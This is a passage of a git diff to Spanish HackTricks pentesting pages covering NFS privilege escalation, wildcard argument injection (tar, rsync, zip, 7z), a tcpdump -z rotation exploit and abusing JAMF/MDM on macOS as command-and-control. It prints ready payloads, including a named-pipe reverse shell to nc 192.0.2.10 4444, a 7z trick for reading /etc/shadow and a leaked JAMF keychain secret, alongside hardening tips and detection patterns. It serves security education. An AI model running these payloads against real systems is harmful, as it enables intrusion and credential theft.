y necesitará **abusar de este truco**.\ -> Otro requisito necesario para que la explotación funcione es que **la exportación dentro de `/etc/export`** **debe estar usando la bandera `insecure`**.\ +> [!TIP] +> Ten en cuenta que si puedes crear un **túnel desde tu máquina a la máquina víctima, aún puedes usar la versión remota para explotar esta escalada de privilegios tunelizando los puertos requeridos**.\ +> El siguiente truco es en caso de que el archivo `/etc/exports` **indique una IP**. En este caso **no podrás usar** en ningún caso el **exploit remoto** y necesitarás **abusar de este truco**.\ +> Otro requisito necesario para que el exploit funcione es que **la exportación dentro de `/etc/export`** **debe estar usando la bandera `insecure`**.\ > --_No estoy seguro de que si `/etc/export` está indicando una dirección IP, este truco funcionará_-- -## Basic Information +### Basic Information El escenario implica explotar un recurso compartido NFS montado en una máquina local, aprovechando un defecto en la especificación de NFSv3 que permite al cliente especificar su uid/gid, lo que potencialmente habilita el acceso no autorizado. La explotación implica usar [libnfs](https://github.com/sahlberg/libnfs), una biblioteca que permite la falsificación de llamadas RPC de NFS. -### Compiling the Library +#### Compiling the Library Los pasos de compilación de la biblioteca pueden requerir ajustes según la versión del kernel. En este caso específico, las llamadas al sistema fallocate fueron comentadas. El proceso de compilación implica los siguientes comandos: ```bash @@ -73,9 +75,9 @@ Los pasos de compilación de la biblioteca pueden requerir ajustes según la ver make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` -### Realizando el Explotación +#### Realizando el Explotación -La explotación implica crear un programa C simple (`pwn.c`) que eleva privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC: +La explotación implica crear un programa C simple (`pwn.c`) que eleva los privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC: 1. **Compilar el código de explotación:** ```bash @@ -95,9 +97,9 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/ /mnt/share/a.out #root ``` -## Bonus: NFShell para Acceso a Archivos Sigiloso +### Bonus: NFShell para Acceso a Archivos Sigiloso -Una vez que se obtiene acceso root, para interactuar con el recurso compartido de NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo que se está accediendo, lo que permite interactuar con archivos en el recurso compartido sin problemas de permisos: +Una vez que se obtiene acceso root, para interactuar con el recurso compartido NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo al que se accede, lo que permite interactuar con archivos en el recurso compartido sin problemas de permisos: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index 7c84d4349..ef9db7a5d 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -37,6 +37,6 @@ mkdir rootfs runc run demo ``` > [!CAUTION] -> Esto no siempre funcionará ya que la operación predeterminada de runc es ejecutarse como root, por lo que ejecutarlo como un usuario sin privilegios simplemente no puede funcionar (a menos que tengas una configuración sin root). Hacer que una configuración sin root sea la predeterminada no es generalmente una buena idea porque hay bastantes restricciones dentro de los contenedores sin root que no se aplican fuera de los contenedores sin root. +> Esto no siempre funcionará ya que la operación predeterminada de runc es ejecutarse como root, por lo que ejecutarlo como un usuario sin privilegios simplemente no puede funcionar (a menos que tengas una configuración sin root). Hacer que una configuración sin root sea la predeterminada generalmente no es una buena idea porque hay bastantes restricciones dentro de los contenedores sin root que no se aplican fuera de los contenedores sin root. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index 985a23742..f5a6be8d9 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -1,60 +1,168 @@ +# Wildcards Spare Tricks + {{#include ../../banners/hacktricks-training.md}} -## chown, chmod +> La inyección de **argumentos** con comodines (también conocida como *glob*) ocurre cuando un script privilegiado ejecuta un binario de Unix como `tar`, `chown`, `rsync`, `zip`, `7z`, … con un comodín sin comillas como `*`. +> Dado que el shell expande el comodín **antes** de ejecutar el binario, un atacante que puede crear archivos en el directorio de trabajo puede elaborar nombres de archivos que comiencen con `-` para que sean interpretados como **opciones en lugar de datos**, efectivamente contrabandeando banderas arbitrarias o incluso comandos. +> Esta página recopila las primitivas más útiles, investigaciones recientes y detecciones modernas para 2023-2025. -Puedes **indicar qué propietario de archivo y permisos deseas copiar para el resto de los archivos** +## chown / chmod + +Puedes **copiar el propietario/grupo o los bits de permiso de un archivo arbitrario** abusando de la bandera `--reference`: ```bash -touch "--reference=/my/own/path/filename" +# attacker-controlled directory +touch "--reference=/root/secret``file" # ← filename becomes an argument ``` -Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque combinado)_\ -Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) - -## Tar - -**Ejecutar comandos arbitrarios:** +Cuando el root luego ejecuta algo como: ```bash +chown -R alice:alice *.php +chmod -R 644 *.php +``` +`--reference=/root/secret``file` se inyecta, causando que *todos* los archivos coincidentes hereden la propiedad/permisos de `/root/secret``file`. + +*PoC y herramienta*: [`wildpwn`](https://github.com/localh0t/wildpwn) (ataque combinado). +Vea también el clásico documento de DefenseCode para más detalles. + +--- + +## tar + +### GNU tar (Linux, *BSD, busybox-full) + +Ejecute comandos arbitrarios abusando de la función **checkpoint**: +```bash +# attacker-controlled directory +echo 'echo pwned > /tmp/pwn' > shell.sh +chmod +x shell.sh touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` -Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque tar)_\ -Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Una vez que root ejecuta por ejemplo `tar -czf /root/backup.tgz *`, `shell.sh` se ejecuta como root. -## Rsync +### bsdtar / macOS 14+ -**Ejecutar comandos arbitrarios:** +El `tar` por defecto en las versiones recientes de macOS (basado en `libarchive`) *no* implementa `--checkpoint`, pero aún puedes lograr la ejecución de código con la bandera **--use-compress-program** que te permite especificar un compresor externo. ```bash -Interesting rsync option from manual: - --e, --rsh=COMMAND specify the remote shell to use ---rsync-path=PROGRAM specify the rsync to run on remote machine +# macOS example +touch "--use-compress-program=/bin/sh" ``` +Cuando un script privilegiado ejecuta `tar -cf backup.tar *`, se iniciará `/bin/sh`. +--- + +## rsync + +`rsync` te permite anular el shell remoto o incluso el binario remoto a través de flags de línea de comandos que comienzan con `-e` o `--rsync-path`: ```bash -touch "-e sh shell.sh" +# attacker-controlled directory +touch "-e sh shell.sh" # -e => use instead of ssh ``` -Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ -Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Si el root archiva más tarde el directorio con `rsync -az * backup:/srv/`, la bandera inyectada genera tu shell en el lado remoto. -## 7z +*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mode). -En **7z** incluso usando `--` antes de `*` (ten en cuenta que `--` significa que la entrada siguiente no puede ser tratada como parámetros, así que solo rutas de archivos en este caso) puedes causar un error arbitrario para leer un archivo, así que si un comando como el siguiente está siendo ejecutado por root: +--- + +## 7-Zip / 7z / 7za + +Incluso cuando el script privilegiado *defensivamente* antepone el comodín con `--` (para detener el análisis de opciones), el formato 7-Zip admite **archivos de lista de archivos** anteponiendo el nombre del archivo con `@`. Combinar eso con un symlink te permite *exfiltrar archivos arbitrarios*: ```bash -7za a /backup/$filename.zip -t7z -snl -p$pass -- * +# directory writable by low-priv user +cd /path/controlled +ln -s /etc/shadow root.txt # file we want to read +touch @root.txt # tells 7z to use root.txt as file list ``` -Y puedes crear archivos en la carpeta donde se está ejecutando esto, podrías crear el archivo `@root.txt` y el archivo `root.txt` siendo un **symlink** al archivo que deseas leer: +Si root ejecuta algo como: ```bash -cd /path/to/7z/acting/folder -touch @root.txt -ln -s /file/you/want/to/read root.txt +7za a /backup/`date +%F`.7z -t7z -snl -- * ``` -Entonces, cuando **7z** se ejecute, tratará `root.txt` como un archivo que contiene la lista de archivos que debe comprimir (eso es lo que indica la existencia de `@root.txt`) y cuando 7z lea `root.txt`, leerá `/file/you/want/to/read` y **como el contenido de este archivo no es una lista de archivos, lanzará un error** mostrando el contenido. +7-Zip intentará leer `root.txt` (→ `/etc/shadow`) como una lista de archivos y se detendrá, **imprimiendo el contenido en stderr**. -_Más información en los Write-ups de la caja CTF de HackTheBox._ +--- -## Zip +## zip -**Ejecutar comandos arbitrarios:** +`zip` soporta la bandera `--unzip-command` que se pasa *verbatim* a la shell del sistema cuando se probará el archivo: ```bash -zip name.zip files -T --unzip-command "sh -c whoami" +zip result.zip files -T --unzip-command "sh -c id" ``` +Inyecta la bandera a través de un nombre de archivo elaborado y espera a que el script de respaldo privilegiado llame a `zip -T` (probar archivo) en el archivo resultante. + +--- + +## Binarios adicionales vulnerables a la inyección de comodines (lista rápida 2023-2025) + +Los siguientes comandos han sido abusados en CTFs modernos y en entornos reales. La carga útil siempre se crea como un *nombre de archivo* dentro de un directorio escribible que luego será procesado con un comodín: + +| Binario | Bandera a abusar | Efecto | +| --- | --- | --- | +| `bsdtar` | `--newer-mtime=@` → `@file` arbitrario | Leer contenido del archivo | +| `flock` | `-c ` | Ejecutar comando | +| `git` | `-c core.sshCommand=` | Ejecución de comando a través de git sobre SSH | +| `scp` | `-S ` | Generar programa arbitrario en lugar de ssh | + +Estos primitivos son menos comunes que los clásicos de *tar/rsync/zip* pero vale la pena revisarlos al buscar. + +--- + +## ganchos de rotación de tcpdump (-G/-W/-z): RCE a través de inyección de argv en envoltorios + +Cuando un shell restringido o envoltorio de proveedor construye una línea de comando de `tcpdump` concatenando campos controlados por el usuario (por ejemplo, un parámetro de "nombre de archivo") sin una citación/validación estricta, puedes introducir banderas adicionales de `tcpdump`. La combinación de `-G` (rotación basada en tiempo), `-W` (limitar el número de archivos) y `-z ` (comando posterior a la rotación) da como resultado la ejecución arbitraria de comandos como el usuario que ejecuta tcpdump (a menudo root en dispositivos). + +Precondiciones: + +- Puedes influir en `argv` pasado a `tcpdump` (por ejemplo, a través de un envoltorio como `/debug/tcpdump --filter=... --file-name=`). +- El envoltorio no sanitiza espacios o tokens con prefijo `-` en el campo del nombre de archivo. + +PoC clásica (ejecuta un script de shell inverso desde una ruta escribible): +```sh +# Reverse shell payload saved on the device (e.g., USB, tmpfs) +cat > /mnt/disk1_1/rce.sh <<'EOF' +#!/bin/sh +rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f +EOF +chmod +x /mnt/disk1_1/rce.sh + +# Inject additional tcpdump flags via the unsafe "file name" field +/debug/tcpdump --filter="udp port 1234" \ +--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh" + +# On the attacker host +nc -6 -lvnp 4444 & +# Then send any packet that matches the BPF to force a rotation +printf x | nc -u -6 [victim_ipv6] 1234 +``` +Detalles: + +- `-G 1 -W 1` fuerza una rotación inmediata después del primer paquete coincidente. +- `-z ` ejecuta el comando post-rotación una vez por rotación. Muchas compilaciones ejecutan ` `. Si `` es un script/intérprete, asegúrate de que el manejo de argumentos coincida con tu carga útil. + +Variantes sin medios removibles: + +- Si tienes alguna otra primitiva para escribir archivos (por ejemplo, un envoltorio de comando separado que permite la redirección de salida), coloca tu script en una ruta conocida y activa `-z /bin/sh /path/script.sh` o `-z /path/script.sh` dependiendo de la semántica de la plataforma. +- Algunos envoltorios de proveedores rotan a ubicaciones controlables por el atacante. Si puedes influir en la ruta rotada (symlink/traversal de directorios), puedes dirigir `-z` para ejecutar contenido que controlas completamente sin medios externos. + +Consejos de endurecimiento para proveedores: + +- Nunca pases cadenas controladas por el usuario directamente a `tcpdump` (o cualquier herramienta) sin listas de permitidos estrictas. Cita y valida. +- No expongas la funcionalidad `-z` en envoltorios; ejecuta tcpdump con una plantilla segura fija y desautoriza completamente las banderas adicionales. +- Reduce los privilegios de tcpdump (cap_net_admin/cap_net_raw solo) o ejecuta bajo un usuario no privilegiado dedicado con confinamiento de AppArmor/SELinux. + +## Detección y Endurecimiento + +1. **Desactiva el globbing de shell** en scripts críticos: `set -f` (`set -o noglob`) previene la expansión de comodines. +2. **Cita o escapa** argumentos: `tar -czf "$dst" -- *` *no* es seguro — prefiere `find . -type f -print0 | xargs -0 tar -czf "$dst"`. +3. **Rutas explícitas**: Usa `/var/www/html/*.log` en lugar de `*` para que los atacantes no puedan crear archivos hermanos que comiencen con `-`. +4. **Menor privilegio**: Ejecuta trabajos de respaldo/mantenimiento como una cuenta de servicio no privilegiada en lugar de root siempre que sea posible. +5. **Monitoreo**: La regla predefinida de Elastic *Potential Shell via Wildcard Injection* busca `tar --checkpoint=*`, `rsync -e*`, o `zip --unzip-command` seguido inmediatamente por un proceso hijo de shell. La consulta EQL puede adaptarse para otros EDRs. + +--- + +## Referencias + +* Elastic Security – Regla detectada de Potential Shell via Wildcard Injection (última actualización 2025) +* Rutger Flohil – “macOS — Inyección de comodines de Tar” (18 de diciembre de 2024) +* GTFOBins – [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/) +* FiberGateway GR241AG – [Cadena de Explotación Completa](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index f8c7f5219..507e96593 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Abusando de MDMs - JAMF Pro: `jamf checkJSSConnection` @@ -16,7 +15,7 @@ Para el red teaming en entornos MacOS, se recomienda tener un entendimiento de c macos-mdm/ {{#endref}} -### Usando MDM como un C2 +### Usando MDM como C2 Un MDM tendrá permiso para instalar, consultar o eliminar perfiles, instalar aplicaciones, crear cuentas de administrador locales, establecer contraseña de firmware, cambiar la clave de FileVault... @@ -24,9 +23,9 @@ Para ejecutar tu propio MDM necesitas **que tu CSR sea firmado por un proveedor* Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribir el dispositivo en un MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa. -Para inscribir el dispositivo en un MDM, necesitas instalar un **`mobileconfig`** como root, que podría ser entregado a través de un archivo **pkg** (podrías comprimirlo en zip y cuando se descargue desde Safari se descomprimirá). +Para inscribir el dispositivo en un MDM, necesitas instalar un archivo **`mobileconfig`** como root, que podría ser entregado a través de un archivo **pkg** (podrías comprimirlo en zip y cuando se descargue desde Safari se descomprimirá). -**Mythic agent Orthrus** utiliza esta técnica. +**El agente Mythic Orthrus** utiliza esta técnica. ### Abusando de JAMF PRO @@ -34,7 +33,7 @@ JAMF puede ejecutar **scripts personalizados** (scripts desarrollados por el sys #### Autoinscripción de JAMF -Ve a una página como `https://.jamfcloud.com/enroll/` para ver si tienen **autoinscripción habilitada**. Si la tienen, podría **pedir credenciales para acceder**. +Ve a una página como `https://.jamfcloud.com/enroll/` para ver si tienen **autoinscripción habilitada**. Si la tienen, podría **pedir credenciales para acceder**. Podrías usar el script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar un ataque de password spraying. @@ -42,16 +41,16 @@ Además, después de encontrar credenciales adecuadas, podrías ser capaz de for ![](<../../images/image (107).png>) -#### Autenticación de Dispositivo JAMF +#### Autenticación de dispositivo JAMF
El **binario `jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento estaba **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\ Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`** -#### Toma de Control de Dispositivo JAMF +#### Toma de control del dispositivo JAMF -La **URL** de **JSS** (Jamf Software Server) que **`jamf`** utilizará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ +La **URL** del **JSS** (Jamf Software Server) que **`jamf`** utilizará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ Este archivo contiene básicamente la URL: ```bash plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist @@ -60,12 +59,12 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist is_virtual_machine jss_url -https://halbornasd.jamfcloud.com/ +https://subdomain-company.jamfcloud.com/ last_management_framework_change_id 4 [...] ``` -Entonces, un atacante podría dejar un paquete malicioso (`pkg`) que **sobrescriba este archivo** al instalarlo, configurando la **URL a un listener de Mythic C2 desde un agente Typhon** para poder abusar de JAMF como C2. +Entonces, un atacante podría dejar un paquete malicioso (`pkg`) que **sobrescriba este archivo** al instalarlo, configurando la **URL a un listener de Mythic C2 desde un agente de Typhon** para poder abusar de JAMF como C2. ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 @@ -77,9 +76,9 @@ sudo jamf policy -id 0 Para **suplantar la comunicación** entre un dispositivo y JMF necesitas: - El **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -- El **llavero de JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo +- La **llave de cadena de JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo -Con esta información, **crea una VM** con el **UUID** de Hardware **robado** y con **SIP deshabilitado**, coloca el **llavero de JAMF,** **intercepta** el **agente** de Jamf y roba su información. +Con esta información, **crea una VM** con el **UUID** de Hardware **robado** y con **SIP deshabilitado**, coloca la **llave de cadena de JAMF,** **intercepta** el **agente** de Jamf y roba su información. #### Robo de secretos @@ -93,7 +92,8 @@ El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-To ### Acceso Remoto a macOS -Y también sobre los **protocolos** **"especiales"** de **red** de **MacOS**: +Y también sobre los **protocolos** **de red** "especiales" de **MacOS**: + {{#ref}} ../macos-security-and-privilege-escalation/macos-protocols.md @@ -103,14 +103,17 @@ Y también sobre los **protocolos** **"especiales"** de **red** de **MacOS**: En algunas ocasiones encontrarás que el **computador MacOS está conectado a un AD**. En este escenario deberías intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra algo de **ayuda** en las siguientes páginas: + {{#ref}} ../../network-services-pentesting/pentesting-ldap.md {{#endref}} + {{#ref}} ../../windows-hardening/active-directory-methodology/ {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-kerberos-88/ {{#endref}} @@ -122,7 +125,7 @@ dscl "/Active Directory/[Domain]/All Domains" ls / También hay algunas herramientas preparadas para MacOS para enumerar automáticamente el AD y jugar con kerberos: - [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts de MacOS. -- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto en Objective-C diseñado para interactuar con las APIs Heimdal krb5 en macOS. El objetivo del proyecto es habilitar mejores pruebas de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquetes en el objetivo. +- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto en Objective-C diseñado para interactuar con las APIs de Heimdal krb5 en macOS. El objetivo del proyecto es permitir una mejor prueba de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquetes en el objetivo. - [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para hacer enumeración de Active Directory. ### Información del Dominio @@ -168,7 +171,7 @@ dsconfigad -show ``` Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) -### Contraseña de Computer$ +### Computer$ password Obtén contraseñas usando: ```bash @@ -209,7 +212,7 @@ macos-keychain.md ## Servicios Externos -El Red Teaming en MacOS es diferente del Red Teaming regular en Windows, ya que generalmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora usando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin. +El Red Teaming en MacOS es diferente del Red Teaming regular en Windows, ya que generalmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora utilizando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin. ## Técnicas Misceláneas de Red Team @@ -227,5 +230,4 @@ Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá - [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) - [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 4a82f8c15..85dbdcd75 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -19,7 +19,7 @@ ### **Fundamentos de DEP (Device Enrollment Program)** -El [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) ofrecido por Apple simplifica la integración de Mobile Device Management (MDM) al facilitar la configuración sin contacto para dispositivos iOS, macOS y tvOS. DEP automatiza el proceso de inscripción, permitiendo que los dispositivos estén operativos desde el primer momento, con mínima intervención del usuario o del administrador. Los aspectos esenciales incluyen: +El [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) ofrecido por Apple simplifica la integración de Mobile Device Management (MDM) al facilitar la configuración sin contacto para dispositivos iOS, macOS y tvOS. DEP automatiza el proceso de inscripción, permitiendo que los dispositivos estén operativos directamente desde la caja, con mínima intervención del usuario o del administrador. Los aspectos esenciales incluyen: - Permite que los dispositivos se registren de forma autónoma con un servidor MDM predefinido al activarse por primera vez. - Principalmente beneficioso para dispositivos nuevos, pero también aplicable a dispositivos que están siendo reconfigurados. @@ -30,7 +30,7 @@ El [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guid Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque beneficiosa, también puede presentar riesgos de seguridad. Si las medidas de protección no se aplican adecuadamente para la inscripción en MDM, los atacantes podrían explotar este proceso simplificado para registrar su dispositivo en el servidor MDM de la organización, haciéndose pasar por un dispositivo corporativo. > [!CAUTION] -> **Alerta de Seguridad**: La inscripción simplificada de DEP podría permitir el registro no autorizado de dispositivos en el servidor MDM de la organización si no se implementan las salvaguardias adecuadas. +> **Alerta de Seguridad**: La inscripción simplificada de DEP podría permitir potencialmente el registro no autorizado de dispositivos en el servidor MDM de la organización si no se implementan las salvaguardias adecuadas. ### Fundamentos ¿Qué es SCEP (Simple Certificate Enrollment Protocol)? @@ -39,7 +39,7 @@ Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque ### ¿Qué son los Perfiles de Configuración (también conocidos como mobileconfigs)? -- La forma oficial de Apple de **configurar/implementar la configuración del sistema.** +- La forma oficial de Apple de **configurar/imponer la configuración del sistema.** - Formato de archivo que puede contener múltiples cargas útiles. - Basado en listas de propiedades (el tipo XML). - “pueden ser firmados y cifrados para validar su origen, asegurar su integridad y proteger su contenido.” Fundamentos — Página 70, Guía de Seguridad de iOS, enero de 2018. @@ -56,7 +56,7 @@ Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque ### DEP -- **3 APIs**: 1 para revendedores, 1 para proveedores de MDM, 1 para identidad de dispositivo (no documentada): +- **3 APIs**: 1 para revendedores, 1 para proveedores de MDM, 1 para identidad del dispositivo (no documentada): - La llamada [API de "servicio en la nube" de DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Esta es utilizada por los servidores MDM para asociar perfiles DEP con dispositivos específicos. - La [API de DEP utilizada por los Revendedores Autorizados de Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) para inscribir dispositivos, verificar el estado de inscripción y verificar el estado de transacción. - La API privada de DEP no documentada. Esta es utilizada por los Dispositivos Apple para solicitar su perfil DEP. En macOS, el binario `cloudconfigurationd` es responsable de comunicarse a través de esta API. @@ -68,7 +68,7 @@ Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque - RESTful - sincroniza registros de dispositivos de Apple al servidor MDM - sincroniza “perfiles DEP” a Apple desde el servidor MDM (entregados por Apple al dispositivo más tarde) -- Un perfil de DEP contiene: +- Un “perfil” de DEP contiene: - URL del servidor del proveedor de MDM - Certificados adicionales de confianza para la URL del servidor (fijación opcional) - Configuraciones adicionales (por ejemplo, qué pantallas omitir en el Asistente de Configuración) @@ -136,68 +136,12 @@ La respuesta es un diccionario JSON con algunos datos importantes como: ![](<../../../images/image (444).png>) - Solicitud enviada a **la URL proporcionada en el perfil DEP**. -- **Certificados ancla** se utilizan para **evaluar la confianza** si se proporcionan. +- **Los certificados ancla** se utilizan para **evaluar la confianza** si se proporcionan. - Recordatorio: la propiedad **anchor_certs** del perfil DEP - **La solicitud es un simple .plist** con identificación del dispositivo -- Ejemplos: **UDID, versión de OS**. +- Ejemplos: **UDID, versión del SO**. - Firmado por CMS, codificado en DER - Firmado usando el **certificado de identidad del dispositivo (de APNS)** - **La cadena de certificados** incluye un **Apple iPhone Device CA** expirado -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) - -### Paso 6: Instalación del Perfil - -- Una vez recuperado, **el perfil se almacena en el sistema** -- Este paso comienza automáticamente (si está en **asistente de configuración**) -- Impulsado por **`CPInstallActivationProfile`** -- Implementado por mdmclient a través de XPC -- LaunchDaemon (como root) o LaunchAgent (como usuario), dependiendo del contexto -- Los perfiles de configuración tienen múltiples cargas útiles para instalar -- El marco tiene una arquitectura basada en plugins para instalar perfiles -- Cada tipo de carga útil está asociado con un plugin -- Puede ser XPC (en el marco) o Cocoa clásico (en ManagedClient.app) -- Ejemplo: -- Las cargas útiles de certificados utilizan CertificateService.xpc - -Típicamente, el **perfil de activación** proporcionado por un proveedor de MDM incluirá **las siguientes cargas útiles**: - -- `com.apple.mdm`: para **inscribir** el dispositivo en MDM -- `com.apple.security.scep`: para proporcionar de forma segura un **certificado de cliente** al dispositivo. -- `com.apple.security.pem`: para **instalar certificados CA de confianza** en el llavero del sistema del dispositivo. -- La instalación de la carga útil de MDM es equivalente a **la inscripción en MDM en la documentación** -- La carga útil **contiene propiedades clave**: -- - URL de Inscripción MDM (**`CheckInURL`**) -- URL de Sondeo de Comandos MDM (**`ServerURL`**) + tema de APNs para activarlo -- Para instalar la carga útil de MDM, se envía una solicitud a **`CheckInURL`** -- Implementado en **`mdmclient`** -- La carga útil de MDM puede depender de otras cargas útiles -- Permite **que las solicitudes se fijen a certificados específicos**: -- Propiedad: **`CheckInURLPinningCertificateUUIDs`** -- Propiedad: **`ServerURLPinningCertificateUUIDs`** -- Entregado a través de la carga útil PEM -- Permite que el dispositivo sea atribuido con un certificado de identidad: -- Propiedad: IdentityCertificateUUID -- Entregado a través de la carga útil SCEP - -### **Paso 7: Escuchando comandos MDM** - -- Después de que la inscripción en MDM se complete, el proveedor puede **emitir notificaciones push usando APNs** -- Al recibirlas, son manejadas por **`mdmclient`** -- Para sondear comandos MDM, se envía una solicitud a ServerURL -- Utiliza la carga útil de MDM previamente instalada: -- **`ServerURLPinningCertificateUUIDs`** para fijar la solicitud -- **`IdentityCertificateUUID`** para el certificado de cliente TLS - -## Ataques - -### Inscripción de Dispositivos en Otras Organizaciones - -Como se comentó anteriormente, para intentar inscribir un dispositivo en una organización **solo se necesita un Número de Serie que pertenezca a esa Organización**. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Por lo tanto, este podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está correctamente protegido: - -{{#ref}} -enrolling-devices-in-other-organisations.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 